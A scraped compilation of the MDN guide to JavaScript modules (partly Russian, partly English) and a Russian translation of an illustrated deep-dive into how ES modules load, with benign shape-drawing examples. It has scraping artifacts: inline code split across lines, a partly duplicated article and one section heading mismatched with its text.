Модули JavaScript — JavaScript | MDN
Это руководство содержит всю необходимую информацию для начала работы с модулями JavaScript.
Сначала программы на JavaSctipt были небольшими — в прежние времена они использовались для изолированных задач, добавляя при необходимости немного интерактивности веб-страница, так что большие скрипты в основном не требовались. Прошло несколько лет, и вот уже мы видим полномасштабные приложения, работающие в броузерах и содержащие массу кода на JavaScript; кроме того, язык стал использоваться и в других контекстах (например, Node.js).
Таким образом, в последние годы появились причины на то, чтобы подумать о механизмах деления программ на JavaScript на отдельные модули, которые можно импортировать по мере нужды. Node.js включала такую возможность уже давно, кроме того, некоторые библиотеки и фреймворки JavaSctipt разрешали использование модулей (например, CommonJS и основанные на AMD системы модулей типа RequireJS, а позднее также Webpack и Babel).
К счастью, современные броузера стали сами поддерживать функциональность модулей, о чем и рассказывает эта статья. Этому можно только порадоваться — броузеры могут оптимизировать загрузку модулей, что было бы гораздо эффективнее использования библиотеки, и взять на себя обработку на стороне клиента и прочие накладные расходы.
Встроенная обработка модулей JavaScript связана с функциями import
и export
, которые поддерживаются броузерами следующим образом:
import
BCD tables only load in the browser
export
BCD tables only load in the browser
To demonstrate usage of modules, we’ve created a simple set of examples that you can find on GitHub. These examples demonstrate a simple set of modules that create a
element on a webpage, and then draw (and report information about) different shapes on the canvas.
These are fairly trivial, but have been kept deliberately simple to demonstrate modules clearly.
Note: If you want to download the examples and run them locally, you’ll need to run them through a local web server.
In our first example (see basic-modules) we have a file structure as follows:
index.html main.js modules/ canvas.js square.js
Note: All of the examples in this guide have basically the same structure; the above should start getting pretty familiar.
The modules directory’s two modules are described below:
canvas.js
— contains functions related to setting up the canvas:create()
— creates a canvas with a specifiedwidth
andheight
inside a wrapper<div>
with a specified ID, which is itself appended inside a specified parent element. Returns an object containing the canvas’s 2D context and the wrapper’s ID.createReportList()
— creates an unordered list appended inside a specified wrapper element, which can be used to output report data into.
square.js
— contains:name
— a constant containing the string ‘square’.draw()
— draws a square on a specified canvas, with a specified size, position, and color. Returns an object containing the square’s size, position, and color.reportArea()
— writes a square’s area to a specific report list, given its length.reportPerimeter()
— writes a square’s perimeter to a specific report list, given its length.
Throughout this article, we’ve used .js
extensions for our module files, but in other resources you may see the .mjs
extension used instead. V8’s documentation recommends this, for example. The reasons given are:
- It is good for clarity, i.e. it makes it clear which files are modules, and which are regular JavaScript.
- It ensures that your module files are parsed as a module by runtimes such as Node.
js, and build tools such as Babel.
However, we decided to keep to using .js
, at least for the moment. To get modules to work correctly in a browser, you need to make sure that your server is serving them with a
header that contains a JavaScript MIME type such as text/javascript
. If you don’t, you’ll get a strict MIME type checking error along the lines of «The server responded with a non-JavaScript MIME type» and the browser won’t run your JavaScript. Most servers already set the correct type for .js
files, but not yet for .mjs
files. Servers that already serve .mjs
files correctly include GitHub Pages and http-server
for Node.js.
This is OK if you are using such an environment already, or if you aren’t but you know what you are doing and have access (i.e. you can configure your server to set the correct Content-Type
.mjs
files). It could however cause confusion if you don’t control the server you are serving files from, or are publishing files for public use, as we are here.
For learning and portability purposes, we decided to keep to .js
.
If you really value the clarity of using .mjs
for modules versus using .js
for «normal» JavaScript files, but don’t want to run into the problem described above, you could always use .mjs
during development and convert them to
during your build step.
It is also worth noting that:
- Some tools may never support
.mjs
, such as TypeScript. - The
<script type="module">
attribute is used to denote when a module is being pointed to, as you’ll see below.
The first thing you do to get access to module features is export them. This is done using the export
statement.
The easiest way to use it is to place it in front of any items you want exported out of the module, for example:
export const name = 'square';
export function draw(ctx, length, x, y, color) {
ctx.
fillStyle = color;
ctx.fillRect(x, y, length, length);
return {
length: length,
x: x,
y: y,
color: color
};
}
You can export functions, var
, let
, const
, and — as we’ll see later — classes. They need to be top-level items; you can’t use export
inside a function, for example.
A more convenient way of exporting all the items you want to export is to use a single export statement at the end of your module file, followed by a comma-separated list of the features you want to export wrapped in curly braces. For example:
export { name, draw, reportArea, reportPerimeter };
Once you’ve exported some features out of your module, you need to import them into your script to be able to use them. The simplest way to do this is as follows:
import { name, draw, reportArea, reportPerimeter } from './modules/square.js';
You use the import
statement, followed by a comma-separated list of the features you want to import wrapped in curly braces, followed by the keyword from, followed by the path to the module file — a path relative to the site root, which for our basic-modules
example would be /js-examples/modules/basic-modules
.
However, we’ve written the path a bit differently — we are using the dot (.
) syntax to mean «the current location», followed by the path beyond that to the file we are trying to find. This is much better than writing out the entire relative path each time, as it is shorter, and it makes the URL portable — the example will still work if you move it to a different location in the site hierarchy.
So for example:
/js-examples/modules/basic-modules/modules/square.js
becomes
./modules/square.js
You can see such lines in action in main.js
.
Note: In some module systems, you can omit the file extension and the leading
, ./
, or ../
(e.g. 'modules/square'
). This doesn’t work in native JavaScript modules.
Once you’ve imported the features into your script, you can use them just like they were defined inside the same file. The following is found in main.
, below the import lines: js
let myCanvas = create('myCanvas', document.body, 480, 320); let reportList = createReportList(myCanvas.id); let square1 = draw(myCanvas.ctx, 50, 50, 100, 'blue'); reportArea(square1.length, reportList); reportPerimeter(square1.length, reportList);
Note: Although imported features are available in the file, they are read only views of the feature that was exported. You cannot change the variable that was imported, but you can still modify properties similar to const
. Additionally, these features are imported as live bindings, meaning that they can change in value even if you cannot modify the binding unlike const
.
Now we just need to apply the main.js
module to our HTML page. This is very similar to how we apply a regular script to a page, with a few notable differences.
First of all, you need to include type="module"
in the <script>
element, to declare this script as a module. To import the
main.js
script, we use this:
<script type="module" src="main.js"></script>
You can also embed the module’s script directly into the HTML file by placing the JavaScript code within the body of the <script>
element:
<script type="module">
</script>
The script into which you import the module features basically acts as the top-level module. If you omit it, Firefox for example gives you an error of «SyntaxError: import declarations may only appear at top level of a module».
You can only use import
and export
statements inside modules, not regular scripts.
- You need to pay attention to local testing — if you try to load the HTML file locally (i.e. with a
file://
URL), you’ll run into CORS errors due to JavaScript module security requirements. You need to do your testing through a server. - Also, note that you might get different behavior from sections of script defined inside modules as opposed to in standard scripts.
This is because modules use strict mode automatically.
- There is no need to use the
defer
attribute (see<script>
attributes) when loading a module script; modules are deferred automatically. - Modules are only executed once, even if they have been referenced in multiple
<script>
tags. - Last but not least, let’s make this clear — module features are imported into the scope of a single script — they aren’t available in the global scope. Therefore, you will only be able to access imported features in the script they are imported into, and you won’t be able to access them from the JavaScript console, for example. You’ll still get syntax errors shown in the DevTools, but you’ll not be able to use some of the debugging techniques you might have expected to use.
The functionality we’ve exported so far has been comprised of named exports — each item (be it a function, const
, etc. ) has been referred to by its name upon export, and that name has been used to refer to it on import as well.
There is also a type of export called the default export — this is designed to make it easy to have a default function provided by a module, and also helps JavaScript modules to interoperate with existing CommonJS and AMD module systems (as explained nicely in ES6 In Depth: Modules by Jason Orendorff; search for «Default exports»).
Let’s look at an example as we explain how it works. In our basic-modules square.js
you can find a function called randomSquare()
that creates a square with a random color, size, and position. We want to export this as our default, so at the bottom of the file we write this:
export default randomSquare;
Note the lack of curly braces.
We could instead prepend export default
onto the function and define it as an anonymous function, like this:
export default function(ctx) {
.
..
}
Over in our main.js
file, we import the default function using this line:
import randomSquare from './modules/square.js';
Again, note the lack of curly braces. This is because there is only one default export allowed per module, and we know that randomSquare
is it. The above line is basically shorthand for:
import {default as randomSquare} from './modules/square.js';
So far, our canvas shape drawing modules seem to be working OK. But what happens if we try to add a module that deals with drawing another shape, like a circle or triangle? These shapes would probably have associated functions like draw()
, reportArea()
, etc. too; if we tried to import different functions of the same name into the same top-level module file, we’d end up with conflicts and errors.
Fortunately there are a number of ways to get around this. We’ll look at these in the following sections.
Inside your import
and export
statement’s curly braces, you can use the keyword as
along with a new feature name, to change the identifying name you will use for a feature inside the top-level module.
So for example, both of the following would do the same job, albeit in a slightly different way:
export {
function1 as newFunctionName,
function2 as anotherNewFunctionName
};
import { newFunctionName, anotherNewFunctionName } from './modules/module.js';
export { function1, function2 };
import { function1 as newFunctionName,
function2 as anotherNewFunctionName } from './modules/module.js';
Let’s look at a real example. In our renaming directory you’ll see the same module system as in the previous example, except that we’ve added circle.js
and triangle.js
modules to draw and report on circles and triangles.
Inside each of these modules, we’ve got features with the same names being exported, and therefore each has the same export
statement at the bottom:
export { name, draw, reportArea, reportPerimeter };
When importing these into main.
, if we tried to use js
import { name, draw, reportArea, reportPerimeter } from './modules/square.js';
import { name, draw, reportArea, reportPerimeter } from './modules/circle.js';
import { name, draw, reportArea, reportPerimeter } from './modules/triangle.js';
The browser would throw an error such as «SyntaxError: redeclaration of import name» (Firefox).
Instead we need to rename the imports so that they are unique:
import { name as squareName,
draw as drawSquare,
reportArea as reportSquareArea,
reportPerimeter as reportSquarePerimeter } from './modules/square.js';
import { name as circleName,
draw as drawCircle,
reportArea as reportCircleArea,
reportPerimeter as reportCirclePerimeter } from './modules/circle.js';
import { name as triangleName,
draw as drawTriangle,
reportArea as reportTriangleArea,
reportPerimeter as reportTrianglePerimeter } from '.
/modules/triangle.js';
Note that you could solve the problem in the module files instead, e.g.
export { name as squareName,
draw as drawSquare,
reportArea as reportSquareArea,
reportPerimeter as reportSquarePerimeter };
import { squareName, drawSquare, reportSquareArea, reportSquarePerimeter } from './modules/square.js';
And it would work just the same. What style you use is up to you, however it arguably makes more sense to leave your module code alone, and make the changes in the imports. This especially makes sense when you are importing from third party modules that you don’t have any control over.
The above method works OK, but it’s a little messy and longwinded. An even better solution is to import each module’s features inside a module object. The following syntax form does that:
import * as Module from './modules/module.js';
This grabs all the exports available inside module.
, and makes them available as members of an object js
Module
, effectively giving it its own namespace. So for example:
Module.function1()
Module.function2()
etc.
Again, let’s look at a real example. If you go to our module-objects directory, you’ll see the same example again, but rewritten to take advantage of this new syntax. In the modules, the exports are all in the following simple form:
export { name, draw, reportArea, reportPerimeter };
The imports on the other hand look like this:
import * as Canvas from './modules/canvas.js';
import * as Square from './modules/square.js';
import * as Circle from './modules/circle.js';
import * as Triangle from './modules/triangle.js';
In each case, you can now access the module’s imports underneath the specified object name, for example:
let square1 = Square.draw(myCanvas.ctx, 50, 50, 100, 'blue');
Square.reportArea(square1.
length, reportList);
Square.reportPerimeter(square1.length, reportList);
So you can now write the code just the same as before (as long as you include the object names where needed), and the imports are much neater.
As we hinted at earlier, you can also export and import classes; this is another option for avoiding conflicts in your code, and is especially useful if you’ve already got your module code written in an object-oriented style.
You can see an example of our shape drawing module rewritten with ES classes in our classes directory. As an example, the square.js
file now contains all its functionality in a single class:
class Square {
constructor(ctx, listId, length, x, y, color) {
...
}
draw() {
...
}
...
}
which we then export:
export { Square };
Over in main.js
, we import it like this:
import { Square } from './modules/square.
js';
And then use the class to draw our square:
let square1 = new Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue');
square1.draw();
square1.reportArea();
square1.reportPerimeter();
There will be times where you’ll want to aggregate modules together. You might have multiple levels of dependencies, where you want to simplify things, combining several submodules into one parent module. This is possible using export syntax of the following forms in the parent module:
export * from 'x.js'
export { name } from 'x.js'
For an example, see our module-aggregation directory. In this example (based on our earlier classes example) we’ve got an extra module called shapes.js
, which aggregates all the functionality from circle.js
, square.js
, and triangle.js
together. We’ve also moved our submodules inside a subdirectory inside the modules
directory called shapes
. So the module structure in this example is:
modules/ canvas.js shapes.js shapes/ circle.js square.js triangle.js
In each of the submodules, the export is of the same form, e.g.
export { Square };
Next up comes the aggregation part. Inside shapes.js
, we include the following lines:
export { Square } from './shapes/square.js';
export { Triangle } from './shapes/triangle.js';
export { Circle } from './shapes/circle.js';
These grab the exports from the individual submodules and effectively make them available from the shapes.js
module.
Note: The exports referenced in shapes.js
basically get redirected through the file and don’t really exist there, so you won’t be able to write any useful related code inside the same file.
So now in the main.js
file, we can get access to all three module classes by replacing
import { Square } from '.
/modules/square.js';
import { Circle } from './modules/circle.js';
import { Triangle } from './modules/triangle.js';
with the following single line:
import { Square, Circle, Triangle } from './modules/shapes.js';
The newest part of the JavaScript modules functionality to be available in browsers is dynamic module loading. This allows you to dynamically load modules only when they are needed, rather than having to load everything up front. This has some obvious performance advantages; let’s read on and see how it works.
This new functionality allows you to call import()
as a function, passing it the path to the module as a parameter. It returns a Promise
, which fulfills with a module object (see Creating a module object) giving you access to that object’s exports, e.g.
import('./modules/myModule.js')
.then((module) => {
});
Let’s look at an example. In the dynamic-module-imports directory we’ve got another example based on our classes example. This time however we are not drawing anything on the canvas when the example loads. Instead, we include three buttons — «Circle», «Square», and «Triangle» — that, when pressed, dynamically load the required module and then use it to draw the associated shape.
In this example we’ve only made changes to our index.html
and main.js
files — the module exports remain the same as before.
Over in main.js
we’ve grabbed a reference to each button using a Document.querySelector()
call, for example:
let squareBtn = document.querySelector('.square');
We then attach an event listener to each button so that when pressed, the relevant module is dynamically loaded and used to draw the shape:
squareBtn.addEventListener('click', () => {
import('./modules/square.js').then((Module) => {
let square1 = new Module.Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue');
square1.
draw();
square1.reportArea();
square1.reportPerimeter();
})
});
Note that, because the promise fulfillment returns a module object, the class is then made a subfeature of the object, hence we now need to access the constructor with Module.
prepended to it, e.g. Module.Square( ... )
.
Here are a few tips that may help you if you are having trouble getting your modules to work. Feel free to add to the list if you discover more!
- We mentioned this before, but to reiterate:
.js
files need to be loaded with a MIME-type oftext/javascript
(or another JavaScript-compatible MIME-type, buttext/javascript
is recommended), otherwise you’ll get a strict MIME type checking error like «The server responded with a non-JavaScript MIME type». - If you try to load the HTML file locally (i.e. with a
file://
URL), you’ll run into CORS errors due to JavaScript module security requirements.You need to do your testing through a server. GitHub pages is ideal as it also serves
.js
files with the correct MIME type. - Because
.mjs
is a non-standard file extension, some operating systems might not recognise it, or try to replace it with something else. For example, we found that macOS was silently adding on.js
to the end of.mjs
files and then automatically hiding the file extension. So all of our files were actually coming out asx.mjs.js
. Once we turned off automatically hiding file extensions, and trained it to accept.mjs
, it was OK.
Глубокое погружение в ES-модули в картинках | by Artur Khrabrov | Web Standards
ES-модули приносят в JavaScript официальную, унифицированную модульную систему. Однако, чтобы прийти к этому, потребовалось почти 10 лет работы по стандартизации.
Но ожидание почти закончилось. С выходом Firefox 60 в мае (пока в бете) все основные браузеры будут поддерживать ES-модули, а Рабочая группа Node Modules сейчас работает над добавлением поддержки ES-модулей в Node. js. Также идет интеграция ES-модулей в WebAssembly.
Многие JavaScript-разработчики знают, что ES-модули были противоречивыми. Но мало кто действительно понимает, как они работают. Давайте рассмотрим, какую проблему решают ES-модули и чем они отличаются от модулей в других модульных системах.
Написание кода на JavaScript состоит в работе с переменными — в присвоении значений переменным или добавлении чисел в переменные или объединении двух переменных вместе и помещении их в другую переменную.
Поскольку большая часть вашего кода связана с изменением переменных, то их организация будет напрямую влиять на качество вашего кода… и на то, насколько хорошо вы сможете поддерживать его в дальнейшем.
Небольшое количества переменных, о которых вам нужно думать, значительно упростило бы ситуацию. У JavaScript есть способ помочь вам в этом — область видимости (scope). Из-за того, как области видимости работают в JavaScript, функции не могут обращаться к переменным, определенным в других функциях.
Это хорошо. Значит когда вы работаете над одной функцией, вы можете сосредоточиться только на ней. Вам не нужно беспокоиться о том, что другие функции могут делать с вашими переменными.
Однако у такого подхода есть и недостаток. Он затрудняет обмен переменными между различными функциями.
Что делать, если вы захотите использовать переменную вне текущей области видимости? Обычно способ справиться с этим заключается в том, чтобы положить её в область выше, например, в глобальную область видимости.
Это работает, но появляются некоторые проблемы.
Во-первых, все ваши скрипты должны быть расположены в определенном порядке. И вы должны будете внимательно следить за тем, чтобы никто не испортил этот порядок.
Если этот порядок нарушится, то в середине работы ваше приложение выдаст ошибку. Когда функция ищет jQuery там, где она ожидает его — на глобальном уровне — и не находит его, она выбрасывает ошибку и прекращает выполнение.
Это делает поддержку кода сложным, а удаление старого кода или скриптов игрой в рулетку. Вы не знаете, что может сломаться. Зависимости между этими различными частями кода неявны. Любая функция может использовать что угодно на глобальном уровне, поэтому вы точно не можете знать, какие функции от чего зависят.
Вторая проблема заключается в том, что поскольку эти переменные находятся в глобальной области видимости, каждая часть кода, находящаяся внутри этой области, может изменить переменную. Вредоносный код может изменить эту переменную специально с целью изменения работы функций или другой код может случайно удалить вашу переменную.
Модули дают вам лучший способ организовать эти переменные и функции. С модулями вы группируете переменные и функции, которые имеет смысл объединить.
Это помещает эти функции и переменные в область видимости модуля. Область модуля может использоваться для обмена переменными между функциями в модуле.
Но в отличие от областей видимости функций, области модулей позволяют сделать их переменные доступными и для других модулей. Они могут явно указать, какие переменные, классы или функции в модуле должны быть доступны.
Когда что-то становится доступным для других модулей, это называется export
. После экспорта другие модули могут явно сказать, что они зависят от этой переменной, класса или функции.
Поскольку экспорт указывается явно, это позволяет определить, какие модули будут нарушены при удалении другого.
Когда у вас появляется возможность экспортировать и импортировать переменные между модулями, это значительно облегчает разбиение вашего кода на небольшие куски, которые могут работать независимо друг от друга. Затем вы можете комбинировать и рекомбинировать эти куски, вроде блоков Lego, для создания любых приложений из одного и того же набора модулей.
Поскольку модули настолько полезны, было несколько попыток добавить модульность в JavaScript. Сегодня активно используются две системы
- CommonJS (CJS) — это то, что Node.js использовал изначально.
- ESM (модули ECMAScript) — это более новая система, добавленная в спецификацию JavaScript. Браузеры уже поддерживают ES-модули, а Node.js добавляет поддержку.
Давайте подробно рассмотрим, как работает эта новая модульная система.
При разработке с помощью модулей, вы строите граф зависимостей. Связи между различными зависимостями берутся из любых инструкций import
, которые вы используете.
Эти операторы импорта определяют, какой код браузеру или Node.js нужно загрузить. Вы даете ему файл для использования в качестве точки входа в граф. Оттуда он просто следует за любым из операторов импорта, чтобы найти остальную часть кода.
Но сами файлы не являются тем, что браузер может использовать. Ему необходимо разобрать все эти файлы, чтобы превратить их в структуры данных, называемые записями модулей (module records). Таким образом, он действительно узнает, что происходит в файле.
После этого запись модуля необходимо превратить в экземпляр модуля. Экземпляр объединяет две вещи: код и состояние.
Код обычно представляет собой набор инструкций. Это как рецепт, как сделать что-то. Но вы не можете просто использовать этот код. Вам нужны исходные материалы для использования с этими инструкциями.
Что такое состояние? Состояние дает вам эти исходные материалы. Состояние — это фактические значения переменных в любой момент времени. Конечно, эти переменные — это просто псевдонимы для ячеек памяти, которые содержат значения.
Таким образом, экземпляр модуля объединяет код (список инструкций) с состоянием (значениями всех переменных).
Нам нужен экземпляр для каждого модуля. Процесс загрузки модуля происходит от файла точки входа к полному графу экземпляров модуля.
Для ES-модулей это происходит в три этапа.
- Построение (constuction) — поиск, загрузка и парсинг всех файлов в записях модулей.
- Создание экземпляра (instantiation) — поиск ячеек в памяти для размещения всех экспортируемых значений (но пока без заполнения их значениями) Затем связывание — экспорт и импорт этих полей в памяти.
- Оценка (evaluation)— запуск кода для заполнения этих полей фактическими значениями переменных.
Люди говорят о том, что ES-модули являются асинхронными. Вы можете думать об этом как о асинхронном процессе, т.к работа делится на три разные фазы:
- Построение
- Создание экземпляров
- Оценка
Все эти этапы могут выполняться отдельно. Это означает, что спецификация вводит какую-то асинхронность, которой не было в CommonJS. Я объясню это позже, но в CJS-модуль и его зависимости загружаются, создаются и анализируются сразу, без каких-либо перерывов.
Однако сами по себе действия не обязательно являются асинхронными. Они могут быть выполнены синхронным способом — зависит от того, что делает загрузка. Это потому, что не все контролируется спецификацией ESM. На самом деле есть два этапа работы, которые покрываются различными спецификациями.
Спецификация ES-модулей говорит о том, как следует анализировать файлы в записях модулей, и как следует создавать экземпляры и оценивать этот модуль. Тем не менее, в спецификации не описывается, как изначально получить эти файлы.
Это загрузчик, который извлекает файлы. И загрузчик указан в другой спецификации. Для браузеров он описан спецификацией HTML. Но у вас могут быть разные загрузчики, основанные на той платформе, которую вы используете.
Загрузчик также точно контролирует загрузку модулей. Он вызывает методы ES-модуля: ParseModule, Module.Instantiate и Module.Evaluate.
Теперь давайте пройдемся по каждому шагу более подробно.
Построение (Construction)
Во время этапа построения для каждого модуля происходят три вещи:
- Определение, где загрузить файл, содержащий модуль (module resolution).
- Загрузка файла (по URL или из файловой системы).
- Синтаксический анализ файла в записи модуля.
Поиск и получение файла (fetching)
Загрузчик позаботится о поиске файла и его загрузке. Сначала ему необходимо найти файл точки входа. В HTML вы указываете загрузчику, где его найти, используя тег <script>
.
Но как он найдет следующую группу модулей — от которых напрямую зависят модули main.js
?
В этом случае используются операторы import
. Одна часть оператора импорта называется спецификатором модуля. Он сообщает загрузчику, где он может найти каждый следующий модуль.
Одно замечание о спецификаторах модулей: иногда их нужно обрабатывать по-разному в браузере и Node.js. Каждый хост имеет свой собственный способ интерпретации спецификатора модуля. Для этого он использует решение, называемое алгоритмом разрешения модулей, которое отличается между платформами. В настоящее время некоторые спецификаторы модулей, которые работают в Node.js, не будут работать в браузере, но сейчас ведутся работы по устранению этой проблемы.
Пока это не исправлено, браузеры принимают только URL в качестве спецификаторов модуля. Они загружают файл модуля с этого URL. Но это не происходит для всего графа одновременно. Вы не знаете, какие зависимости модуль должен получить, пока вы не проанализировали файл… и вы не сможете проанализировать файл, пока не получите его.
Это означает, что мы должны пройти через дерево поэтапно, слой за слоем, анализировать один файл, выяснить его зависимости, а затем найти и загрузить их.
Если бы основной поток ожидал загрузки каждого из этих файлов, в его очереди скопилось бы много других задач. Это потому, что, когда вы работаете в браузере, загрузка занимает большую часть времени.
Блокировка основного потока сделает использование модулей в вашем приложении очень медленным. Это одна из причин того, что спецификация ES-модулей разбивает алгоритм на несколько этапов. Разбиение на фазы позволяет браузерам извлекать файлы и строить свое понимание графа модуля перед тем, как приступить к синхронной работе по созданию экземпляров.
Этот подход — разделение алгоритма на фазы — является одним из ключевых различий между ES-модулями и модулями CommonJS.
CommonJS может делать всё по-другому, потому что загрузка файлов из файловой системы занимает гораздо меньше времени, чем загрузка через интернет. Это означает, что Node.js может блокировать основной поток при загрузке файла. И раз файл уже загружен, есть смысл сразу провести построение (construction) и создание экземпляров (без разбивки на фазы). Это также означает, что вы идёте по всему графу, загружаете, создаете экземпляры и оцениваете зависимости перед возвратом экземпляра модуля.
Подход CommonJS имеет несколько последствий, и я расскажу об этом позже. Но одно это означает, что в Node.js с модулями CommonJS вы можете использовать переменные в вашем спецификаторе модуля. Вы выполняете весь код в этом модуле (до инструкции require
), прежде чем искать следующий модуль. Это означает, что переменная будет иметь значение при переходе к определению модулей.
Но с ES-модулями вы заранее строите весь этот граф модулей, прежде чем выполнять какую-либо оценку. Это означает, что вы не можете использовать переменные в своих спецификаторах модулей, поскольку эти переменные еще не имеют значений.
Но иногда очень полезно использовать переменные для путей модулей. Например, может потребоваться переключить загружаемый модуль в зависимости от того, что делает код или в какой среде он выполняется.
Чтобы сделать это возможным для ES модулей, есть предложение под названием динамический импорт. С его помощью можно использовать импорт вида import(`${path}/foo.js`)
.
Это работает так: любой файл, загруженный с помощью import()
, обрабатывается как точка входа в отдельный граф. Динамически импортируемый модуль запускает новый граф, который обрабатывается отдельно.
Однако следует отметить, что любой модуль, который находится в обоих этих графах, будет совместно использовать экземпляр модуля. Это происходит потому, что загрузчик кэширует экземпляры модулей. Для каждого модуля в определенной глобальной области будет только один экземпляр модуля.
Это уменьшает объём работы для движка. Например, это означает, что файл модуля будет извлечен только один раз, даже если несколько модулей зависят от него (это одна из причин для кэширования модулей. Мы увидим другой в разделе оценки.)
Загрузчик управляет этим кэшем с помощью так называемой карты модулей. Каждый глобальный модуль отслеживает свои модули в отдельной карте.
Когда загрузчик получает URL, он помещает этот URL в карту модуля и отмечает, что он в настоящее время извлекает файл (fetching
). Затем он отправит запрос и перейдет к следующему файлу.
Что произойдет, если другой модуль зависит от того же файла? Загрузчик будет искать каждый URL в карте модуля. Если он увидит там fetching
, он просто перейдет к следующему URL.
Но карта модуля не просто отслеживает, какие файлы извлекаются. Карта модуля также служит в качестве кэша для модулей, как мы увидим далее.
Парсинг
Теперь, когда мы извлекли этот файл, нам нужно распарсить его в записи модуля. Это помогает браузеру понять, что представляют собой различные части модуля.
После создания запись модуля помещается в карту модуля. Это означает, что всякий раз, когда он запрашивается, загрузчик может вытащить его из этой карты.
Есть одна деталь в парсинге, которая может показаться тривиальной, но на самом деле имеет довольно большие последствия. Все модули анализируются так, как если бы они имели use strict
вверху. Есть и другие незначительные отличия. Например, ключевое слово await
зарезервировано в коде верхнего уровня модуля, а значение this
— undefined
.
Другой способ парсинга называется целью парсинга (parse goal). Если вы анализируете один и тот же файл, но используете разные цели, вы получите разные результаты. Таким образом, вы хотите знать, прежде чем начать парсинг, какой файл вы анализируете — является ли он модулем или нет.
В браузерах это довольно легко. Вы просто добавляетеtype="module"
в тег <script>
. Это говорит браузеру, что этот файл должен быть проанализирован как модуль. И поскольку импортировать можно только модули, браузер знает, что любой импорт также является модулем.
Но в Node.js вы не можете использовать HTML-теги, поэтому у вас нет возможности использовать атрибут type
. Сообщество пыталось решить эту проблему с помощью расширения .mjs
. Это расширение говорит Node.js что этот файл является модулем. Сообщество говорит об этом, как о метке для цели парсинга. Обсуждение в настоящее время продолжается, поэтому неясно, какую метку сообщество решит использовать в конце.
В любом случае загрузчик определит, следует ли анализировать файл как модуль или нет. Если это модуль и есть импорт, он начнет процесс снова, пока все файлы не будут извлечены и распарсены.
И все готово! По окончании процесса загрузки вы перешли от простого файла точки входа к множеству записей модуля.
Следующий шаг — создать экземпляр этого модуля и связать Все экземпляры вместе.
Cоздание экземпляра
Последний шаг — заполнение этих ячеек памяти. JS-движок делает это, выполняя код верхнего уровня — код, который находится вне функций.
Помимо простого заполнения этих ячеек памяти, оценка кода также может вызывать различные сайд-эффекты. Например, модуль может сделать запрос на сервер.
Из-за потенциальных побочных эффектов вы хотите только один раз оценить модуль. В отличие от линковки, которая происходит при создании экземпляра, которая может выполняться несколько раз с точно таким же результатом, оценка может иметь разные результаты в зависимости от того, сколько раз вы это делаете.
Это одна из причин наличия карты модулей. Карта модуля кэширует модуль по каноническому URL, так что для каждого модуля имеется только одна запись модуля. Это гарантирует, что каждый модуль выполняется только один раз.
А как насчет тех циклов, о которых мы говорили раньше?
В циклической зависимости вы в конечном итоге получаете цикл в графе. Обычно это длинная петля. Но чтобы объяснить проблему, я буду использовать пример с коротким циклом.
Давайте посмотрим, как это будет работать с модулями CommonJS. Во-первых, основной модуль выполнит оператор require
. Затем будет загружен модуль counter
.
Модуль counter
попытается получить доступ к message
из объекта exports
. Но так как он еще не был оценен в основном модуле, вернется undefined
. JS-движок выделит пространство в памяти для локальной переменной и установит значение undefined
.
Оценка продолжается до конца кода верхнего уровня counter. Мы хотим узнать, получим ли мы правильное значение для сообщения в конце концов (после оценки main.js
), поэтому мы настроим таймаут. Затем оценка возобновляется на main.js
.
Переменная message
будет инициализирована и добавлена в память. Но поскольку между ними нет никакой связи, она останется неопределенной в требуемом модуле.
Если экспорт будет обработан с использованием привязок в реальном времени, в конце концов counter увидит правильное значение. К моменту истечения таймаута оценка main.js
завершиться и в переменную присвоится значение.
Поддержка этих циклов является большим основанием для разработки ES-модулей. Именно эта трехфазная архитектура и сделает её возможной.
Каков текущий статус ES-модулей ?
С выходом Firefox 60 в начале мая, все основные браузеры будут поддерживать ES-модули по умолчанию. Node.js также добавляет поддержку, создана рабочая группа, занимающаяся выяснением проблем совместимости между CommonJS и ES-модулями.
Это означает, что вы сможете использовать тег <script type="module">
, import
и export
. Однако еще больше возможностей впереди. Dynamic imports proposal находится на Stage 3 в процессе спецификации, также есть import.meta, а module resolution proposal поможет сгладить различия между браузерами и Node.js. Поэтому работа с модулями станет еще лучше в будущем.
Спасибо всем, кто дал обратную связь на этот пост, или чьи письма или дискуссии прошлого года, в том числе Акселю Раухшмаеру, Бредли Фариасу, Дейву Хернану, Доменику Дениколе, Хави Хоффману, Джейсону Везерсби, Джей-Эф Бастьену, Йону Копперду, Люку Вагнеру, Майлсу Боринсу, Тиллю Шнайдериту, Тобаясу Копперсу, Йехуде Кацу, участникам сообщества WebAssembly, Рабочей группе Node Modules, а также TC39.
Глубокое погружение в ES-модули в картинках — Веб-стандарты
ES-модули приносят в JavaScript официальную, унифицированную модульную систему. Однако, чтобы прийти к этому, потребовалось почти 10 лет работы по стандартизации.
Но ожидание почти закончилось. С выходом Firefox 60 в мае (пока в бете) все основные браузеры будут поддерживать ES-модули, а Рабочая группа Node Modules сейчас работает над добавлением поддержки ES-модулей в Node.js. Также идет интеграция ES-модулей в WebAssembly.
Многие JavaScript-разработчики знают, что ES-модули были противоречивыми. Но мало кто действительно понимает, как они работают. Давайте рассмотрим, какую проблему решают ES-модули и чем они отличаются от модулей в других модульных системах.
Какую проблему решают модули?Скопировать ссылку
Написание кода на JavaScript состоит в работе с переменными — в присвоении значений переменным или добавлении чисел в переменные или объединении двух переменных вместе и помещении их в другую переменную.
Поскольку большая часть вашего кода связана с изменением переменных, то их организация будет напрямую влиять на качество вашего кода… и на то, насколько хорошо вы сможете поддерживать его в дальнейшем.
Небольшое количества переменных, о которых вам нужно думать, значительно упростило бы ситуацию. У JavaScript есть способ помочь вам в этом — область видимости (scope). Из-за того, как области видимости работают в JavaScript, функции не могут обращаться к переменным, определенным в других функциях.
Это хорошо. Значит когда вы работаете над одной функцией, вы можете сосредоточиться только на ней. Вам не нужно беспокоиться о том, что другие функции могут делать с вашими переменными.
Однако у такого подхода есть и недостаток. Он затрудняет обмен переменными между различными функциями.
Что делать, если вы захотите использовать переменную вне текущей области видимости? Обычно способ справиться с этим заключается в том, чтобы положить её в область выше, например, в глобальную область видимости.
Это работает, но появляются некоторые проблемы.
Во-первых, все ваши скрипты должны быть расположены в определенном порядке. И вы должны будете внимательно следить за тем, чтобы никто не испортил этот порядок.
Если этот порядок нарушится, то в середине работы ваше приложение выдаст ошибку. Когда функция ищет jQuery там, где она ожидает его — на глобальном уровне — и не находит его, она выбрасывает ошибку и прекращает выполнение.
